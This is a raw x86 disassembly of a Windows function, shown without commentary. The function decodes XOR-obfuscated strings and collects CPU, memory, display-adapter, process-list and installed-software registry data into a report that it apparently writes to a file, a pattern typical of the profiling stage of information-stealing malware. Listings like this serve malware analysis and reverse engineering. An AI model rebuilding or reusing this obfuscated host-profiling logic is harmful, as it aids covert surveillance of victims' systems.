mov byte [ebp - 0xd], al
cmp ecx, esi
mov eax, 0xe5d98fa1
mov edx, 0x5e04bf06
cmovae ecx, esi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx - 0x5f]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x15a], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, esi
jb 0x419140
lea eax, [ebp - 0x1f5c]
push eax
lea eax, [ebp - 0x15a]
push eax
push edi
call fcn.0040bdd0
add esp, 0xc
push dword [ebp - 0x334]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xorps xmm0, xmm0
mov dword [ebp - 0x4b8], 0
lea eax, [ebp - 0x4d8]
push eax
movups xmmword [ebp - 0x4d8], xmm0
movups xmmword [ebp - 0x4c8], xmm0
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov byte [ebp - 0x10f], 0xe3
xor edx, edx
mov byte [ebp - 0x10e], 0xf8
mov byte [ebp - 0x10d], 0xf9
mov byte [ebp - 0x10c], 0x8c
mov byte [ebp - 0x10b], 0xef
mov byte [ebp - 0x10a], 0xc4
mov byte [ebp - 0x109], 0xd7
mov byte [ebp - 0x108], 0xc8
mov byte [ebp - 0x107], 0xdb
mov byte [ebp - 0x106], 0x90
mov byte [ebp - 0x105], 0x84
mov byte [ebp - 0x104], 0x82
mov byte [ebp - 0x103], 0xcd
mov byte [ebp - 0x102], 0xa4
mov byte [ebp - 0x101], 0xa1
mov al, byte [ebp - 0x10f]
mov dword [ebp - 0x14], edx
mov al, byte [ebp + edx - 0x10f]
mov ecx, edx
and ecx, esi
mov byte [ebp - 0xd], al
cmp ecx, esi
mov eax, 0xe5d98fa1
mov edx, 0x5e04bf06
cmovae ecx, esi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx - 0x5f]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x10f], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, esi
jb 0x419240
push dword [ebp - 0x4c4]
lea eax, [ebp - 0x10f]
push eax
push edi
call fcn.0040bdd0
add esp, 0xc
mov dword [ebp - 0x588], 0x40
lea eax, [ebp - 0x588]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
test eax, eax
je 0x41937c
mov byte [ebp - 0xa6], 0x22
xor edx, edx
mov byte [ebp - 0xa5], 0x30
mov byte [ebp - 0xa4], 0x36
mov byte [ebp - 0xa3], 0x40
mov byte [ebp - 0xa2], 0x59
mov byte [ebp - 0xa1], 0x51
mov byte [ebp - 0xa0], 0xe
mov byte [ebp - 0x9f], 0x50
mov byte [ebp - 0x9e], 0x37
mov byte [ebp - 0x9d], 0x32
mov byte [ebp - 0x9c], 0x7e
mov byte [ebp - 0x9b], 0x84
mov al, byte [ebp - 0xa6]
mov dword [ebp - 0x14], edx
mov al, byte [ebp + edx - 0xa6]
mov ecx, edx
and ecx, esi
mov byte [ebp - 0xd], al
cmp ecx, esi
mov eax, 0xc0e02c75
mov edx, 0xd7844be7
cmovae ecx, esi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx + 0x75]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0xa6], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0xc
jb 0x419315
mov ecx, dword [ebp - 0x580]
mov eax, dword [ebp - 0x57c]
shrd ecx, eax, 0x14
shr eax, 0x14
push eax
push ecx
lea eax, [ebp - 0xa6]
push eax
push edi
call fcn.0040bdd0
add esp, 0x10
lea ecx, [ebp - 0x34c]
call fcn.00489c60
mov byte [ebp - 4], 0x2f
lea ecx, [ebp - 0x34c]
call fcn.00489ab0
push 0x1a4
lea eax, [ebp - 0x7a8]
mov dword [ebp - 0x1c], 0
push 0
push eax
mov dword [ebp - 0x7ac], 0x1a8
call fcn.004fec40
add esp, 0xc
lea eax, [ebp - 0x7ac]
push 1
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_EnumDisplayDevicesA]
test eax, eax
je 0x4196a1
nop dword [eax + eax]
mov esi, dword [ebp - 0x348]
xor ecx, ecx
mov edi, dword [ebp - 0x34c]
mov eax, 0x2aaaaaab
mov dword [ebp - 0x18], ecx
mov ecx, esi
sub ecx, edi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x4194d8
lea eax, [ebp - 0x3c8]
xor esi, esi
mov dword [ebp - 0x168], eax
jmp 0x419423
mov esi, dword [ebp - 0x24]
lea ecx, [ebp - 0x3c8]
call fcn.0040bbc0
mov byte [ebp - 4], 0x31
lea ecx, [ebp - 0x788]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x419440
sub ecx, edx
lea eax, [ebp - 0x788]
push ecx
push eax
lea ecx, [ebp - 0x3c8]
call fcn.0040bb00
mov byte [ebp - 4], 0x32
lea eax, [ebp - 0x3c8]
mov ecx, dword [ebp - 0x34c]
push eax
lea ecx, [ecx + esi]
call fcn.004930e0
mov byte [ebp - 0xd], al
mov byte [ebp - 4], 0x33
lea ecx, [ebp - 0x3c8]
call fcn.0040b870
mov byte [ebp - 4], 0x2f
lea eax, [ebp - 0x3c8]
mov dword [ebp - 0x164], eax
mov byte [ebp - 4], 0x2f
cmp byte [ebp - 0xd], 0
jne 0x41965a
mov edi, dword [ebp - 0x34c]
add esi, 0x18
inc dword [ebp - 0x18]
mov eax, 0x2aaaaaab
mov dword [ebp - 0x24], esi
mov esi, dword [ebp - 0x348]
mov ecx, esi
sub ecx, edi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [ebp - 0x18], eax
jb 0x419420
mov byte [ebp - 0x1d8], 0x66
sub esi, edi
mov byte [ebp - 0x1d7], 0x50
mov eax, 0x2aaaaaab
mov byte [ebp - 0x1d6], 0x53
mov byte [ebp - 0x1d5], 0x5d
mov byte [ebp - 0x1d4], 0x54
mov byte [ebp - 0x1d3], 0x7c
mov byte [ebp - 0x1d2], 0x52
mov byte [ebp - 0x1d1], 0x31
imul esi
mov byte [ebp - 0x1d0], 0x21
mov byte [ebp - 0x1cf], 0x60
mov byte [ebp - 0x1ce], 0x63
mov byte [ebp - 0x1cd], 0x66
mov byte [ebp - 0x1cc], 0x2a
sar edx, 2
mov byte [ebp - 0x1cb], 0x7b
mov esi, edx
mov byte [ebp - 0x1ca], 0x64
shr esi, 0x1f
mov byte [ebp - 0x1c9], 0x62
add esi, edx
mov byte [ebp - 0x1c8], 0x33
xor edx, edx
mov byte [ebp - 0x1c7], 0x43
mov dword [ebp - 0x24], esi
mov esi, 0xf
mov byte [ebp - 0x1c6], 0x47
mov al, byte [ebp - 0x1d8]
mov dword [ebp - 0x14], edx
mov al, byte [ebp + edx - 0x1d8]
mov ecx, edx
and ecx, esi
mov byte [ebp - 0xd], al
cmp ecx, esi
mov eax, 0x3c164c39
mov edx, 0xf37b7324
cmovae ecx, esi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx + 0x39]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x1d8], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0x13
jb 0x419583
mov esi, dword [ebp - 0x24]
lea eax, [ebp - 0x788]
mov edi, dword [ebp - 0x20]
push eax
push esi
lea eax, [ebp - 0x1d8]
push eax
push edi
call fcn.0040bdd0
lea eax, [ebp - 0x3e0]
add esp, 0x10
mov ecx, eax
mov dword [ebp - 0x328], eax
call fcn.0040bbc0
mov byte [ebp - 4], 0x37
lea ecx, [ebp - 0x788]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x419603
sub ecx, edx
lea eax, [ebp - 0x788]
push ecx
push eax
lea ecx, [ebp - 0x3e0]
call fcn.0040bb00
mov byte [ebp - 4], 0x38
lea eax, [ebp - 0x3e0]
push eax
lea ecx, [ebp - 0x34c]
call fcn.00490620
mov byte [ebp - 4], 0x39
lea ecx, [ebp - 0x3e0]
call fcn.0040b870
mov byte [ebp - 4], 0x2f
lea eax, [ebp - 0x3e0]
mov dword [ebp - 0x340], eax
mov byte [ebp - 4], 0x2f
jmp 0x41965d
mov edi, dword [ebp - 0x20]
mov esi, dword [ebp - 0x1c]
lea eax, [ebp - 0x7a8]
push 0x1a4
push 0
inc esi
mov dword [ebp - 0x7ac], 0x1a8
push eax
mov dword [ebp - 0x1c], esi
call fcn.004fec40
add esp, 0xc
lea eax, [ebp - 0x7ac]
push 1
push eax
push esi
push 0
call dword [sym.imp.USER32.dll_EnumDisplayDevicesA]
test eax, eax
jne 0x4193e0
lea esi, [eax + 0xf]
mov byte [ebp - 0x100], 0xfa
xor edx, edx
mov byte [ebp - 0xff], 0xaa
mov byte [ebp - 0xfe], 0xa9
mov byte [ebp - 0xfd], 0x74
mov byte [ebp - 0xfc], 0x62
mov byte [ebp - 0xfb], 0x65
mov byte [ebp - 0xfa], 0x67
mov byte [ebp - 0xf9], 0x7f
mov byte [ebp - 0xf8], 0x73
mov byte [ebp - 0xf7], 0x65
mov byte [ebp - 0xf6], 0x79
mov byte [ebp - 0xf5], 0x53
mov byte [ebp - 0xf4], 0xf
mov byte [ebp - 0xf3], 5
mov al, byte [ebp - 0x100]
mov dword [ebp - 0x14], edx
nop
mov al, byte [ebp + edx - 0x100]
mov ecx, edx
and ecx, 0xf
mov byte [ebp - 0xd], al
cmp ecx, 0xf
mov eax, 0x814c66fd
mov edx, 0x8cfc6d65
cmovae ecx, esi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx - 3]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x100], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0xe
jb 0x419710
lea eax, [ebp - 0x100]
push eax
push edi
call fcn.0040bdd0
add esp, 8
mov dword [ebp - 0x980], 0x128
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
test esi, esi
je 0x41985b
lea eax, [ebp - 0x980]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x419854
mov edi, dword [sym.imp.KERNEL32.dll_Process32Next]
lea eax, [ebp - 0x980]
push eax
push esi
call edi
test eax, eax
je 0x419851
mov byte [ebp - 0x72], 0x45
xor edx, edx
mov byte [ebp - 0x71], 0x1f
mov edi, 0xf
mov byte [ebp - 0x70], 0x4c
mov byte [ebp - 0x6f], 0x37
mov byte [ebp - 0x6e], 0x4e
mov byte [ebp - 0x6d], 0xb
mov byte [ebp - 0x6c], 0x3c
mov byte [ebp - 0x6b], 0x71
mov byte [ebp - 0x6a], 0x70
mov al, byte [ebp - 0x72]
mov dword [ebp - 0x14], edx
mov al, byte [ebp + edx - 0x72]
mov ecx, edx
and ecx, edi
mov byte [ebp - 0xd], al
cmp ecx, edi
mov eax, 0xbe160769
mov edx, 0x2e603141
cmovae ecx, edi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx + 0x69]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x72], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 9
jb 0x4197e1
push dword [ebp - 0x978]
lea eax, [ebp - 0x95c]
push eax
lea eax, [ebp - 0x72]
push eax
push dword [ebp - 0x20]
call fcn.0040bdd0
mov edi, dword [sym.imp.KERNEL32.dll_Process32Next]
lea eax, [ebp - 0x980]
add esp, 0x10
push eax
push esi
call edi
test eax, eax
jne 0x4197b0
mov edi, dword [ebp - 0x20]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [ebp - 0xe4], 0x2a
xor edx, edx
mov byte [ebp - 0xe3], 0x7b
mov esi, 0xf
mov byte [ebp - 0xe2], 0x77
mov byte [ebp - 0xe1], 0x4a
mov byte [ebp - 0xe0], 0x43
mov byte [ebp - 0xdf], 0x5a
mov byte [ebp - 0xde], 0x5e
mov byte [ebp - 0xdd], 0x4f
mov byte [ebp - 0xdc], 0x5b
mov byte [ebp - 0xdb], 0x46
mov byte [ebp - 0xda], 0x73
mov byte [ebp - 0xd9], 0x2b
mov byte [ebp - 0xd8], 0x2c
mov al, byte [ebp - 0xe4]
mov dword [ebp - 0x14], edx
nop word [eax + eax]
mov al, byte [ebp + edx - 0xe4]
mov ecx, edx
and ecx, esi
mov byte [ebp - 0xd], al
cmp ecx, esi
mov eax, 0x6e801721
mov edx, 0x1021d590
cmovae ecx, esi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx + 0x21]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0xe4], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0xd
jb 0x4198d0
lea eax, [ebp - 0xe4]
push eax
push edi
call fcn.0040bdd0
mov byte [ebp - 0x2c2], 0x63
add esp, 8
mov byte [ebp - 0x2c1], 0x7a
xor edx, edx
mov byte [ebp - 0x2c0], 0x71
mov byte [ebp - 0x2bf], 0x63
mov byte [ebp - 0x2be], 0x67
mov byte [ebp - 0x2bd], 0x7f
mov byte [ebp - 0x2bc], 0x67
mov byte [ebp - 0x2bb], 0x7b
mov byte [ebp - 0x2ba], 0x6c
mov byte [ebp - 0x2b9], 0x7b
mov byte [ebp - 0x2b8], 0x51
mov byte [ebp - 0x2b7], 0x21
mov byte [ebp - 0x2b6], 0x35
mov byte [ebp - 0x2b5], 0x24
mov byte [ebp - 0x2b4], 0x3c
mov byte [ebp - 0x2b3], 0x2e
mov byte [ebp - 0x2b2], 0x26
mov byte [ebp - 0x2b1], 0x31
mov byte [ebp - 0x2b0], 0x1b
mov byte [ebp - 0x2af], 0x10
mov byte [ebp - 0x2ae], 0x29
mov byte [ebp - 0x2ad], 0x20
mov byte [ebp - 0x2ac], 0x21
mov byte [ebp - 0x2ab], 0x21
mov byte [ebp - 0x2aa], 0x37
mov byte [ebp - 0x2a9], 0x35
mov byte [ebp - 0x2a8], 0x14
mov byte [ebp - 0x2a7], 0x11
mov byte [ebp - 0x2a6], 0x22
mov byte [ebp - 0x2a5], 0x29
mov byte [ebp - 0x2a4], 0x2d
mov byte [ebp - 0x2a3], 0x34
mov byte [ebp - 0x2a2], 0x3e
mov byte [ebp - 0x2a1], 0x21
mov byte [ebp - 0x2a0], 1
mov byte [ebp - 0x29f], 0x32
mov byte [ebp - 0x29e], 0x22
mov byte [ebp - 0x29d], 0x2d
mov byte [ebp - 0x29c], 0x3c
mov byte [ebp - 0x29b], 0x31
mov byte [ebp - 0x29a], 0x3e
mov byte [ebp - 0x299], 0xa
mov byte [ebp - 0x298], 0xd
mov byte [ebp - 0x297], 0xc
mov byte [ebp - 0x296], 0xe
mov byte [ebp - 0x295], 5
mov byte [ebp - 0x294], 0x1c
mov byte [ebp - 0x293], 0x15
mov byte [ebp - 0x292], 1
mov byte [ebp - 0x291], 9
mov byte [ebp - 0x290], 0xb
mov byte [ebp - 0x28f], 0x67
mov al, byte [ebp - 0x2c2]
mov dword [ebp - 0x14], edx
nop dword [eax]
mov al, byte [ebp + edx - 0x2c2]
mov ecx, edx
and ecx, esi
mov byte [ebp - 0xd], al
cmp ecx, esi
mov eax, 0x2e49f035
mov edx, 0x5c96278d
cmovae ecx, esi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx + 0x35]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x2c2], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0x34
jb 0x419aa0
lea eax, [ebp - 0x324]
mov dword [ebp - 0x324], 0
push eax
push 0x20019
push 0
lea eax, [ebp - 0x2c2]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x419ea1
xor esi, esi
mov dword [ebp - 0x18], esi
nop dword [eax]
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x16c]
mov dword [ebp - 0x16c], 0x400
push eax
lea eax, [ebp - 0x235c]
push eax
push esi
push dword [ebp - 0x324]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov edi, eax
test edi, edi
jne 0x419e86
mov dword [ebp - 0x160], eax
xor edx, edx
mov byte [ebp - 0x48], 0xd5
mov esi, 0xf
mov byte [ebp - 0x47], 0x82
mov byte [ebp - 0x46], 0xad
mov byte [ebp - 0x45], 0x23
mov byte [ebp - 0x44], 0x7b
mov byte [ebp - 0x43], 0xe
mov al, byte [ebp - 0x48]
mov dword [ebp - 0x14], edx
mov al, byte [ebp + edx - 0x48]
mov ecx, edx
and ecx, esi
mov byte [ebp - 0xd], al
cmp ecx, esi
mov eax, 0xb3c96efd
mov edx, 0x889ee0d3
cmovae ecx, esi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx - 3]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x48], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 6
jb 0x419b82
lea eax, [ebp - 0x235c]
push eax
lea eax, [ebp - 0x2c2]
push eax
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x275c]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x160]
push eax
push 0x20019
push 0
lea eax, [ebp - 0x275c]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, dword [ebp - 0x18]
test eax, eax
jne 0x419e86
mov dword [ebp - 0x33c], 0xf003f
xor edx, edx
mov dword [ebp - 0x16c], 0x400
mov esi, 0xf
mov byte [ebp - 0xca], 0x34
mov byte [ebp - 0xc9], 0x18
mov byte [ebp - 0xc8], 8
mov byte [ebp - 0xc7], 0xa
mov byte [ebp - 0xc6], 0x15
mov byte [ebp - 0xc5], 0x15
mov byte [ebp - 0xc4], 2
mov byte [ebp - 0xc3], 0x3e
mov byte [ebp - 0xc2], 0x1b
mov byte [ebp - 0xc1], 0x1d
mov byte [ebp - 0xc0], 0x11
mov byte [ebp - 0xbf], 0x84
mov al, byte [ebp - 0xca]
mov dword [ebp - 0x14], edx
mov al, byte [ebp + edx - 0xca]
mov ecx, edx
and ecx, esi
mov byte [ebp - 0xd], al
cmp ecx, esi
mov eax, 0xc0e02c75
mov edx, 0xd7844be7
cmovae ecx, esi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx + 0x75]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0xca], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0xc
jb 0x419c83
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 0x16c]
push eax
lea eax, [ebp - 0x2f5c]
push eax
lea eax, [ebp - 0x33c]
push eax
push 0
lea eax, [ebp - 0xca]
push eax
push dword [ebp - 0x160]
call edi
mov esi, dword [ebp - 0x18]
test eax, eax
jne 0x419e74
mov byte [ebp - 0x14b], 0xe4
xor edx, edx
mov byte [ebp - 0x14a], 0xc1
mov esi, 0xf
mov byte [ebp - 0x149], 0xdf
mov byte [ebp - 0x148], 0xdc
mov byte [ebp - 0x147], 0xc0
mov byte [ebp - 0x146], 0xca
mov byte [ebp - 0x145], 0xdb
mov byte [ebp - 0x144], 0xf0
mov byte [ebp - 0x143], 0xca
mov byte [ebp - 0x142], 0xd8
mov byte [ebp - 0x141], 0xd7
mov byte [ebp - 0x140], 0xce
mov byte [ebp - 0x13f], 0xc6
mov byte [ebp - 0x13e], 0xc0
mov byte [ebp - 0x13d], 0xa1
mov al, byte [ebp - 0x14b]
mov dword [ebp - 0x14], edx
mov al, byte [ebp + edx - 0x14b]
mov ecx, edx
and ecx, esi
mov byte [ebp - 0xd], al
cmp ecx, esi
mov eax, 0xe5d98fa1
mov edx, 0x5e04bf06
cmovae ecx, esi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx - 0x5f]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x14b], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, esi
jb 0x419d75
lea eax, [ebp - 0x16c]
push eax
lea eax, [ebp - 0x2b5c]
push eax
lea eax, [ebp - 0x33c]
push eax
push 0
lea eax, [ebp - 0x14b]
push eax
push dword [ebp - 0x160]
call edi
mov esi, dword [ebp - 0x18]
test eax, eax
jne 0x419e74
mov byte [ebp - 0x69], 0x45
xor edx, edx
mov byte [ebp - 0x68], 0x1f
mov esi, 0xf
mov byte [ebp - 0x67], 0x4c
mov byte [ebp - 0x66], 0x37
mov byte [ebp - 0x65], 0x4e
mov byte [ebp - 0x64], 0x1c
mov byte [ebp - 0x63], 0x3c
mov byte [ebp - 0x62], 0x71
mov byte [ebp - 0x61], 0x70
mov al, byte [ebp - 0x69]
mov dword [ebp - 0x14], edx
mov al, byte [ebp + edx - 0x69]
mov ecx, edx
and ecx, esi
mov byte [ebp - 0xd], al
cmp ecx, esi
mov eax, 0xbe160769
mov edx, 0x2e603141
cmovae ecx, esi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx + 0x69]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x69], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 9
jb 0x419e18
lea eax, [ebp - 0x2b5c]
push eax
lea eax, [ebp - 0x2f5c]
push eax
lea eax, [ebp - 0x69]
push eax
push dword [ebp - 0x20]
call fcn.0040bdd0
mov esi, dword [ebp - 0x18]
add esp, 0x10
push dword [ebp - 0x160]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
inc esi
jmp 0x419b16
inc esi
mov dword [ebp - 0x18], esi
test edi, edi
je 0x419b20
push dword [ebp - 0x324]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, dword [ebp - 0x20]
push edi
call fcn.0050633e
add esp, 4
mov byte [ebp - 4], 0x2b
lea ecx, [ebp - 0x34c]
call fcn.0048ccb0
mov byte [ebp - 4], 0x3c
lea ecx, [ebp - 0x410]
call fcn.0040b870
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0x410]
mov dword [ebp - 0x168], eax
mov byte [ebp - 4], 0x3f
lea ecx, [ebp - 0x398]
call fcn.0040b870
mov byte [ebp - 4], 7
lea eax, [ebp - 0x398]
mov dword [ebp - 0x164], eax
mov byte [ebp - 4], 0x42
lea ecx, [ebp - 0x3b0]
call fcn.0040b870
mov byte [ebp - 4], 4
lea eax, [ebp - 0x3b0]
mov dword [ebp - 0x328], eax
mov byte [ebp - 4], 4
sub esp, 0x18
mov byte [ebp - 0xd], 1
mov dword [ebp - 0x168], esp
lea eax, [ebp - 0x3f8]
mov esi, esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x164], esp
push eax
call fcn.0048ac50
mov byte [ebp - 4], 0x45
mov byte [ebp - 4], 4
mov ecx, esi
call fcn.00414d80
add esp, 0x18
mov byte [ebp - 4], 0x46
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x428]
mov dl, byte [ebp - 0xd]
call fcn.004164f0
add esp, 0x18
mov byte [ebp - 4], 0x47
xor edx, edx
mov byte [ebp - 0x30], 0xc7
mov byte [ebp - 0x2f], 0xd3
mov byte [ebp - 0x2e], 0xbb
mov al, byte [ebp - 0x30]
mov dword [ebp - 0x14], edx
mov al, byte [ebp + edx - 0x30]
mov ecx, edx
and ecx, 0xf
mov byte [ebp - 0xd], al
cmp ecx, 0xf
mov eax, 0xf
mov edx, 0x210f6849
cmovae ecx, eax
mov eax, 0xec92e0b9
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx - 0x47]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x30], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 3
jb 0x419f83
lea ecx, [ebp - 0x3f8]
call fcn.0040ba70
lea ecx, [ebp - 0x30]
push ecx
push eax
call fcn.00502ab0
mov edi, eax
add esp, 8
test edi, edi
je 0x41a008
mov esi, dword [ebp - 0x418]
lea ecx, [ebp - 0x428]
call fcn.0040ba70
push edi
push esi
push 1
push eax
call fcn.0050a8b9
push edi
call fcn.0050633e
add esp, 0x14
mov byte [ebp - 4], 0x48
lea ecx, [ebp - 0x428]
call fcn.0040b870
mov byte [ebp - 4], 4
lea eax, [ebp - 0x428]
mov dword [ebp - 0x168], eax
mov byte [ebp - 4], 0x4b
lea ecx, [ebp - 0x3f8]
call fcn.0040b870
mov byte [ebp - 4], 3
lea eax, [ebp - 0x3f8]
mov dword [ebp - 0x164], eax
mov byte [ebp - 4], 0x4e
lea ecx, [ebp + 8]
call fcn.0040b870
mov byte [ebp - 4], 2
lea eax, [ebp + 8]
mov dword [ebp - 0x328], eax
mov byte [ebp - 4], 0x51
lea ecx, [ebp + 0x20]
call fcn.0040b870
mov byte [ebp - 4], 1
lea eax, [ebp + 0x20]
mov dword [ebp - 0x340], eax
mov byte [ebp - 4], 0x54
lea ecx, [ebp + 0x38]
call fcn.0040b870
mov byte [ebp - 4], 0
lea eax, [ebp + 0x38]
mov dword [ebp - 0x24], eax
mov dword [ebp - 4], 0x57
lea ecx, [ebp + 0x50]
call fcn.0040b870
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp + 0x50]
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret